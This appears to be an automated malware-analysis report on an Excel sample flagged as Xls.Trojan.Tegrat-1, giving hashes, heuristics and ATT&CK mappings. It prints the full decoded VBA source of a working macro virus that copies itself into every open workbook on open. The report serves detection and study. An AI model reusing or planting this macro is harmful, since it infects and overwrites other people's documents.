Xls.Trojan.Tegrat-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 ab68504e8a20868d…

MALICIOUS

Office (OLE)

32.0 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: eddaffa52e6acafc669e93c3a9c60859 SHA-1: b51bdd3c16b9f8b1581585ffc47d9c2d93098748 SHA-256: ab68504e8a20868d2e0af87144f93ba02a941edebc07e20b44ee8f0ce316af3e
180 Risk Score

Malware Insights

Xls.Trojan.Tegrat-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic identified the file as Xls.Trojan.Tegrat-1. The Workbook_Open VBA macro is designed to copy its own code to any other open workbooks, which is a common technique for spreading or maintaining persistence. The macro's behavior suggests it aims to ensure its execution across multiple documents.

Heuristics 3

  • ClamAV: Xls.Trojan.Tegrat-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Tegrat-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1659 bytes
SHA-256: 3e4361c637425da1efdd15ace126ee2e78cd9b6b5c97c5212f9afc027f0f6169
Detection
ClamAV: Xls.Trojan.Tegrat-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Application.EnableCancelKey = xlDisabled
Application.DisplayAlerts = Yes
TW = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If Workbooks.Count > 1 Then
For A = 1 To Workbooks.Count
With Workbooks.Item(A).VBProject.VBComponents.Item(1).CodeModule
If .CountOfLines > 1 Then Target = .Lines(1, .CountOfLines)
If Target <> TW Then
.DeleteLines 1, .CountOfLines
.AddFromString TW
Workbooks.Item(A).SaveAs FileName:=Workbooks.Item(A).FullName
End If
End With
Next
End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.